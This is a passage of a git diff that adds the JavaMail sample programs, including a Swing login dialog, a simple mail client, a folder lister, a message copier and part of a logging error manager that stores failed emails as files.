TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import javax.mail.*; +import java.net.InetAddress; +import java.awt.*; +import javax.swing.*; + +/** + * Simple Authenticator for requesting password information. + * + * @author Christopher Cotton + * @author Bill Shannon + */ + +public class SimpleAuthenticator extends Authenticator { + + Frame frame; + String username; + String password; + + public SimpleAuthenticator(Frame f) { + this.frame = f; + } + + protected PasswordAuthentication getPasswordAuthentication() { + + // given a prompt? + String prompt = getRequestingPrompt(); + if (prompt == null) + prompt = "Please login..."; + + // protocol + String protocol = getRequestingProtocol(); + if (protocol == null) + protocol = "Unknown protocol"; + + // get the host + String host = null; + InetAddress inet = getRequestingSite(); + if (inet != null) + host = inet.getHostName(); + if (host == null) + host = "Unknown host"; + + // port + String port = ""; + int portnum = getRequestingPort(); + if (portnum != -1) + port = ", port " + portnum + " "; + + // Build the info string + String info = "Connecting to " + protocol + " mail service on host " + + host + port; + + //JPanel d = new JPanel(); + // XXX - for some reason using a JPanel here causes JOptionPane + // to display incorrectly, so we workaround the problem using + // an anonymous JComponent. + JComponent d = new JComponent() { }; + + GridBagLayout gb = new GridBagLayout(); + GridBagConstraints c = new GridBagConstraints(); + d.setLayout(gb); + c.insets = new Insets(2, 2, 2, 2); + + c.anchor = GridBagConstraints.WEST; + c.gridwidth = GridBagConstraints.REMAINDER; + c.weightx = 0.0; + d.add(constrain(new JLabel(info), gb, c)); + d.add(constrain(new JLabel(prompt), gb, c)); + + c.gridwidth = 1; + c.anchor = GridBagConstraints.EAST; + c.fill = GridBagConstraints.NONE; + c.weightx = 0.0; + d.add(constrain(new JLabel("Username:"), gb, c)); + + c.anchor = GridBagConstraints.EAST; + c.fill = GridBagConstraints.HORIZONTAL; + c.gridwidth = GridBagConstraints.REMAINDER; + c.weightx = 1.0; + String user = getDefaultUserName(); + JTextField username = new JTextField(user, 20); + d.add(constrain(username, gb, c)); + + c.gridwidth = 1; + c.fill = GridBagConstraints.NONE; + c.anchor = GridBagConstraints.EAST; + c.weightx = 0.0; + d.add(constrain(new JLabel("Password:"), gb, c)); + + c.anchor = GridBagConstraints.EAST; + c.fill = GridBagConstraints.HORIZONTAL; + c.gridwidth = GridBagConstraints.REMAINDER; + c.weightx = 1.0; + JPasswordField password = new JPasswordField("", 20); + d.add(constrain(password, gb, c)); + // XXX - following doesn't work + if (user != null && user.length() > 0) + password.requestFocus(); + else + username.requestFocus(); + + int result = JOptionPane.showConfirmDialog(frame, d, "Login", + JOptionPane.OK_CANCEL_OPTION, JOptionPane.QUESTION_MESSAGE); + + if (result == JOptionPane.OK_OPTION) + return new PasswordAuthentication(username.getText(), + password.getText()); + else + return null; + } + + private Component constrain(Component cmp, + GridBagLayout gb, GridBagConstraints c) { + gb.setConstraints(cmp, c); + return (cmp); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/SimpleClient.java b/src/Java/Jars/javamail-samples/javamail-samples/client/SimpleClient.java new file mode 100644 index 0000000..68c7a78 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/SimpleClient.java @@ -0,0 +1,169 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import java.io.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.activation.*; +import java.awt.*; +import java.awt.event.*; +import javax.swing.*; +import javax.swing.table.*; +import javax.swing.tree.*; +import javax.swing.event.*; + + +/** + * Demo app that shows a very simple Mail Client + * + * @author Christopher Cotton + * @author Bill Shannon + */ + +public class SimpleClient { + + static Vector url = new Vector(); + static FolderViewer fv; + static MessageViewer mv; + + public static void main(String argv[]) { + boolean usage = false; + + for (int optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-L")) { + url.addElement(argv[++optind]); + } else if (argv[optind].startsWith("-")) { + usage = true; + break; + } else { + usage = true; + break; + } + } + + if (usage || url.size() == 0) { + System.out.println("Usage: SimpleClient -L url"); + System.out.println(" where url is protocol://username:password@hostname/"); + System.exit(1); + } + + try { + // Set up our Mailcap entries. This will allow the JAF + // to locate our viewers. + File capfile = new File("simple.mailcap"); + if (!capfile.isFile()) { + System.out.println( + "Cannot locate the \"simple.mailcap\" file."); + System.exit(1); + } + + CommandMap.setDefaultCommandMap( new MailcapCommandMap( + new FileInputStream(capfile))); + + JFrame frame = new JFrame("Simple JavaMail Client"); + frame.addWindowListener(new WindowAdapter() { + public void windowClosing(WindowEvent e) {System.exit(0);}}); + //frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); + + // Get a Store object + SimpleAuthenticator auth = new SimpleAuthenticator(frame); + Session session = + Session.getDefaultInstance(System.getProperties(), auth); + //session.setDebug(true); + + DefaultMutableTreeNode root = new DefaultMutableTreeNode("Root"); + + // create a node for each store we have + for (Enumeration e = url.elements() ; e.hasMoreElements() ;) { + String urlstring = (String) e.nextElement(); + URLName urln = new URLName(urlstring); + Store store = session.getStore(urln); + + StoreTreeNode storenode = new StoreTreeNode(store); + root.add(storenode); + } + + DefaultTreeModel treeModel = new DefaultTreeModel(root); + JTree tree = new JTree(treeModel); + tree.addTreeSelectionListener(new TreePress()); + + /* Put the Tree in a scroller. */ + JScrollPane sp = new JScrollPane(); + sp.setPreferredSize(new Dimension(250, 300)); + sp.getViewport().add(tree); + + /* Create a double buffered JPanel */ + JPanel sv = new JPanel(new BorderLayout()); + sv.add("Center", sp); + + fv = new FolderViewer(null); + + JSplitPane jsp = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT, + sv, fv); + jsp.setOneTouchExpandable(true); + mv = new MessageViewer(); + JSplitPane jsp2 = new JSplitPane(JSplitPane.VERTICAL_SPLIT, + jsp, mv); + jsp2.setOneTouchExpandable(true); + + frame.getContentPane().add(jsp2); + frame.pack(); + frame.show(); + + } catch (Exception ex) { + System.out.println("SimpletClient caught exception"); + ex.printStackTrace(); + System.exit(1); + } + } + +} + +class TreePress implements TreeSelectionListener { + + public void valueChanged(TreeSelectionEvent e) { + TreePath path = e.getNewLeadSelectionPath(); + if (path != null) { + Object o = path.getLastPathComponent(); + if (o instanceof FolderTreeNode) { + FolderTreeNode node = (FolderTreeNode)o; + Folder folder = node.getFolder(); + + try { + if ((folder.getType() & Folder.HOLDS_MESSAGES) != 0) { + SimpleClient.fv.setFolder(folder); + } + } catch (MessagingException me) { } + } + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/StoreTreeNode.java b/src/Java/Jars/javamail-samples/javamail-samples/client/StoreTreeNode.java new file mode 100644 index 0000000..e552dcc --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/StoreTreeNode.java @@ -0,0 +1,128 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import javax.swing.tree.DefaultMutableTreeNode; +import javax.mail.*; + +/** + * Node which represents a Store in the javax.mail apis. + * + * @author Christopher Cotton + */ +public class StoreTreeNode extends DefaultMutableTreeNode { + + protected Store store = null; + protected Folder folder = null; + protected String display = null; + + /** + * creates a tree node that points to the particular Store. + * + * @param what the store for this node + */ + public StoreTreeNode(Store what) { + super(what); + store = what; + } + + + /** + * a Store is never a leaf node. It can always contain stuff + */ + public boolean isLeaf() { + return false; + } + + + /** + * return the number of children for this store node. The first + * time this method is called we load up all of the folders + * under the store's defaultFolder + */ + + public int getChildCount() { + if (folder == null) { + loadChildren(); + } + return super.getChildCount(); + } + + protected void loadChildren() { + try { + // connect to the Store if we need to + if (!store.isConnected()) { + store.connect(); + } + + // get the default folder, and list the + // subscribed folders on it + folder = store.getDefaultFolder(); + // Folder[] sub = folder.listSubscribed(); + Folder[] sub = folder.list(); + + // add a FolderTreeNode for each Folder + int num = sub.length; + for(int i = 0; i < num; i++) { + FolderTreeNode node = new FolderTreeNode(sub[i]); + // we used insert here, since add() would make + // another recursive call to getChildCount(); + insert(node, i); + } + + } catch (MessagingException me) { + me.printStackTrace(); + } + } + + /** + * We override toString() so we can display the store URLName + * without the password. + */ + + public String toString() { + if (display == null) { + URLName url = store.getURLName(); + if (url == null) { + display = store.toString(); + } else { + // don't show the password + URLName too = new URLName( url.getProtocol(), url.getHost(), url.getPort(), + url.getFile(), url.getUsername(), null); + display = too.toString(); + } + } + + return display; + } + + +} + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/TextViewer.java b/src/Java/Jars/javamail-samples/javamail-samples/client/TextViewer.java new file mode 100644 index 0000000..0ad57c0 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/TextViewer.java @@ -0,0 +1,108 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.awt.*; +import java.io.*; +import java.beans.*; +import javax.activation.*; +import javax.swing.JPanel; +import javax.swing.JTextArea; +import javax.swing.JScrollPane; + + +/** + * A very simple TextViewer Bean for the MIMEType "text/plain" + * + * @author Christopher Cotton + */ + +public class TextViewer extends JPanel implements CommandObject +{ + + private JTextArea text_area = null; + private DataHandler dh = null; + private String verb = null; + + /** + * Constructor + */ + public TextViewer() { + super(new GridLayout(1,1)); + + // create the text area + text_area = new JTextArea(); + text_area.setEditable(false); + text_area.setLineWrap(true); + + // create a scroll pane for the JTextArea + JScrollPane sp = new JScrollPane(); + sp.setPreferredSize(new Dimension(300, 300)); + sp.getViewport().add(text_area); + + add(sp); + } + + + public void setCommandContext(String verb, DataHandler dh) + throws IOException { + + this.verb = verb; + this.dh = dh; + + this.setInputStream( dh.getInputStream() ); + } + + + /** + * set the data stream, component to assume it is ready to + * be read. + */ + public void setInputStream(InputStream ins) { + + int bytes_read = 0; + // check that we can actually read + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte data[] = new byte[1024]; + + try { + while((bytes_read = ins.read(data)) >0) + baos.write(data, 0, bytes_read); + ins.close(); + } catch(Exception e) { + e.printStackTrace(); + } + + // convert the buffer into a string + // place in the text area + text_area.setText(baos.toString()); + + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/client/simple.mailcap b/src/Java/Jars/javamail-samples/javamail-samples/client/simple.mailcap new file mode 100644 index 0000000..e65e13a --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/client/simple.mailcap @@ -0,0 +1,9 @@ +# +# Example command map, using the MailcapCommandMap. +# +# for our viewers +# +message/*;; x-java-view=MessageViewer +text/plain;; x-java-view=TextViewer +multipart/*;; x-java-view=MultipartViewer + diff --git a/src/Java/Jars/javamail-samples/javamail-samples/copier.java b/src/Java/Jars/javamail-samples/javamail-samples/copier.java new file mode 100644 index 0000000..4fd6f80 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/copier.java @@ -0,0 +1,111 @@ +/* + * Copyright (c) 1996-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + * + * @author Christopher Cotton + */ + +import javax.mail.*; + +/** + * copier will copy a specified number of messages from one folder + * to another folder. it demonstrates how to use the JavaMail APIs + * to copy messages.

+ * + * Usage for copier: copier store urlname + * src folder dest folder start msg # end msg #

+ * + */ + +public class copier { + + public static void main(String argv[]) { + boolean debug = false; // change to get more errors + + if (argv.length != 5) { + System.out.println( "usage: copier " + + " "); + return; + } + + try { + URLName url = new URLName(argv[0]); + String src = argv[1]; // source folder + String dest = argv[2]; // dest folder + int start = Integer.parseInt(argv[3]); // copy from message # + int end = Integer.parseInt(argv[4]); // to message # + + // Get the default Session object + + Session session = Session.getInstance(System.getProperties(), null); + // session.setDebug(debug); + + // Get a Store object that implements the protocol. + Store store = session.getStore(url); + store.connect(); + System.out.println("Connected..."); + + // Open Source Folder + Folder folder = store.getFolder(src); + folder.open(Folder.READ_WRITE); + System.out.println("Opened source..."); + + if (folder.getMessageCount() == 0) { + System.out.println("Source folder has no messages .."); + folder.close(false); + store.close(); + } + + // Open destination folder, create if needed + Folder dfolder = store.getFolder(dest); + if (!dfolder.exists()) // create + dfolder.create(Folder.HOLDS_MESSAGES); + + Message[] msgs = folder.getMessages(start, end); + System.out.println("Got messages..."); + + // Copy messages into destination, + folder.copyMessages(msgs, dfolder); + System.out.println("Copied messages..."); + + // Close the folder and store + folder.close(false); + store.close(); + System.out.println("Closed folder and store..."); + + } catch (Exception e) { + e.printStackTrace(); + } + + System.exit(0); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/folderlist.java b/src/Java/Jars/javamail-samples/javamail-samples/folderlist.java new file mode 100644 index 0000000..10bcf82 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/folderlist.java @@ -0,0 +1,185 @@ +/* + * Copyright (c) 1996-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.Properties; +import javax.mail.*; + +import com.sun.mail.imap.*; + +/** + * Demo app that exercises the Message interfaces. + * List information about folders. + * + * @author John Mani + * @author Bill Shannon + */ + +public class folderlist { + static String protocol = null; + static String host = null; + static String user = null; + static String password = null; + static String url = null; + static String root = null; + static String pattern = "%"; + static boolean recursive = false; + static boolean verbose = false; + static boolean debug = false; + + public static void main(String argv[]) throws Exception { + int optind; + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-T")) { + protocol = argv[++optind]; + } else if (argv[optind].equals("-H")) { + host = argv[++optind]; + } else if (argv[optind].equals("-U")) { + user = argv[++optind]; + } else if (argv[optind].equals("-P")) { + password = argv[++optind]; + } else if (argv[optind].equals("-L")) { + url = argv[++optind]; + } else if (argv[optind].equals("-R")) { + root = argv[++optind]; + } else if (argv[optind].equals("-r")) { + recursive = true; + } else if (argv[optind].equals("-v")) { + verbose = true; + } else if (argv[optind].equals("-D")) { + debug = true; + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + System.out.println( +"Usage: folderlist [-T protocol] [-H host] [-U user] [-P password] [-L url]"); + System.out.println( +"\t[-R root] [-r] [-v] [-D] [pattern]"); + System.exit(1); + } else { + break; + } + } + if (optind < argv.length) + pattern = argv[optind]; + + // Get a Properties object + Properties props = System.getProperties(); + + // Get a Session object + Session session = Session.getInstance(props, null); + session.setDebug(debug); + + // Get a Store object + Store store = null; + Folder rf = null; + if (url != null) { + URLName urln = new URLName(url); + store = session.getStore(urln); + store.connect(); + } else { + if (protocol != null) + store = session.getStore(protocol); + else + store = session.getStore(); + + // Connect + if (host != null || user != null || password != null) + store.connect(host, user, password); + else + store.connect(); + } + + // List namespace + if (root != null) + rf = store.getFolder(root); + else + rf = store.getDefaultFolder(); + + dumpFolder(rf, false, ""); + if ((rf.getType() & Folder.HOLDS_FOLDERS) != 0) { + Folder[] f = rf.list(pattern); + for (int i = 0; i < f.length; i++) + dumpFolder(f[i], recursive, " "); + } + + store.close(); + } + + static void dumpFolder(Folder folder, boolean recurse, String tab) + throws Exception { + System.out.println(tab + "Name: " + folder.getName()); + System.out.println(tab + "Full Name: " + folder.getFullName()); + System.out.println(tab + "URL: " + folder.getURLName()); + + if (verbose) { + if (!folder.isSubscribed()) + System.out.println(tab + "Not Subscribed"); + + if ((folder.getType() & Folder.HOLDS_MESSAGES) != 0) { + if (folder.hasNewMessages()) + System.out.println(tab + "Has New Messages"); + System.out.println(tab + "Total Messages: " + + folder.getMessageCount()); + System.out.println(tab + "New Messages: " + + folder.getNewMessageCount()); + System.out.println(tab + "Unread Messages: " + + folder.getUnreadMessageCount()); + } + if ((folder.getType() & Folder.HOLDS_FOLDERS) != 0) + System.out.println(tab + "Is Directory"); + + /* + * Demonstrate use of IMAP folder attributes + * returned by the IMAP LIST response. + */ + if (folder instanceof IMAPFolder) { + IMAPFolder f = (IMAPFolder)folder; + String[] attrs = f.getAttributes(); + if (attrs != null && attrs.length > 0) { + System.out.println(tab + "IMAP Attributes:"); + for (int i = 0; i < attrs.length; i++) + System.out.println(tab + " " + attrs[i]); + } + } + } + + System.out.println(); + + if ((folder.getType() & Folder.HOLDS_FOLDERS) != 0) { + if (recurse) { + Folder[] f = folder.list(); + for (int i = 0; i < f.length; i++) + dumpFolder(f[i], recurse, tab + " "); + } + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/logging/FileErrorManager.java b/src/Java/Jars/javamail-samples/javamail-samples/logging/FileErrorManager.java new file mode 100644 index 0000000..fa16476 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/logging/FileErrorManager.java @@ -0,0 +1,329 @@ +/* + * Copyright (c) 2009-2017 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2009-2017 Jason Mehrens. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.io.*; +import java.lang.reflect.Constructor; +import java.security.AccessController; +import java.security.PrivilegedAction; +import java.util.logging.ErrorManager; +import java.util.logging.Level; +import java.util.logging.LogManager; + +/** + * An error manager used to store mime messages from the MailHandler + * to the file system when the email server is unavailable or unreachable. The + * code to manually setup this error manager can be as simple as the following: + *

+ *      File dir = new File("path to dir");
+ *      FileErrorManager em = new FileErrorManager(dir);
+ * 
+ * + *

+ * Configuration: + * The code to setup this error manager via the logging properties can be as + * simple as the following: + *

+ *      #Default FileErrorManager settings.
+ *      FileErrorManager.pattern = path to directory
+ * 
+ * + * If properties are not defined, or contain invalid values, then the specified + * default values are used. + *
    + *
  • FileErrorManager.pattern the absolute file path to the directory which + * will store any failed email messages. (defaults to the value of the system + * property java.io.tmpdir) + *
+ * + * @author Jason Mehrens + */ +public class FileErrorManager extends ErrorManager { + + /** + * Stores the LogManager. + */ + private static final LogManager manager = LogManager.getLogManager(); + /** + * Used to report errors that this error manager fails to report. + */ + private final ErrorManager next = new ErrorManager(); + /** + * Directory of the email store. + */ + private final File emailStore; + + /** + * Creates a new error manager. Files are stored in the users temp + * directory. + * + * @exception SecurityException if unable to access system properties or if + * a security manager is present and unable to read or write to users temp + * directory. + */ + public FileErrorManager() { + this.emailStore = getEmailStore(); + init(); + } + + /** + * Creates a new error manager. + * + * @param dir a directory to store the email files. + * @throws NullPointerException if dir is null + * @throws IllegalArgumentException if dir is a + * java.io.File subclass, not a directory, or is not an absolute + * path. + * @throws SecurityException if a security manager is present and unable to + * read or write to a given directory. + */ + public FileErrorManager(File dir) { + this.emailStore = dir; + init(); + } + + /** + * If the message parameter is a raw email, and passes the store term, then + * this method will store the email to the file system. If the message + * parameter is not a raw email then the message is forwarded to the super + * class. If an email is written to the file system without error, then the + * original reported error is ignored. + * + * @param msg String raw email or plain error message. + * @param ex Exception that occurred in the mail handler. + * @param code int error manager code. + */ + @Override + public void error(String msg, Exception ex, int code) { + if (isRawEmail(msg)) { + try { + storeEmail(msg); + } catch (final IOException | RuntimeException IOE) { + next.error(msg, ex, code); + super.error(emailStore.toString(), IOE, ErrorManager.GENERIC_FAILURE); + } + } else { + next.error(msg, ex, code); + } + } + + /** + * Performs the initialization for this object. + */ + private void init() { + if (next == null) { + throw new NullPointerException(ErrorManager.class.getName()); + } + + File dir = this.emailStore; + if (dir.getClass() != File.class) { //For security reasons. + throw new IllegalArgumentException(dir.getClass().getName()); + } + + if (!dir.isDirectory()) { + throw new IllegalArgumentException("File must be a directory."); + } + + if (!dir.canWrite()) { //Can throw under a security manager. + super.error(dir.getAbsolutePath(), + new SecurityException("write"), ErrorManager.OPEN_FAILURE); + } + + //For now, only absolute paths are allowed. + if (!dir.isAbsolute()) { + throw new IllegalArgumentException("Only absolute paths are allowed."); + } + + if (!dir.canRead()) { //Can throw under a security manager. + super.error(dir.getAbsolutePath(), + new SecurityException("read"), ErrorManager.OPEN_FAILURE); + } + } + + /** + * Creates a common temp file prefix. + * + * @return the file prefix. + */ + private String prefixName() { + return "FileErrorManager"; + } + + /** + * Creates a common temp file suffix. + * + * @return the file suffix. + */ + private String suffixName() { + return ".eml"; + } + + /** + * Determines if the given message is a MIME message or just free text. + * + * @param msg the message to examine. + * @return true if MIME message otherwise false. + */ + private boolean isRawEmail(String msg) { + if (msg != null && msg.length() > 0) { + return !msg.startsWith(Level.SEVERE.getName()); + } + return false; + } + + /** + * Stores the given string in a file. + * + * @param email the message to store. + * @throws IOException if there is a problem. + */ + private void storeEmail(String email) throws IOException { + File tmp = null; + FileOutputStream out = null; + for (;;) { + tmp = 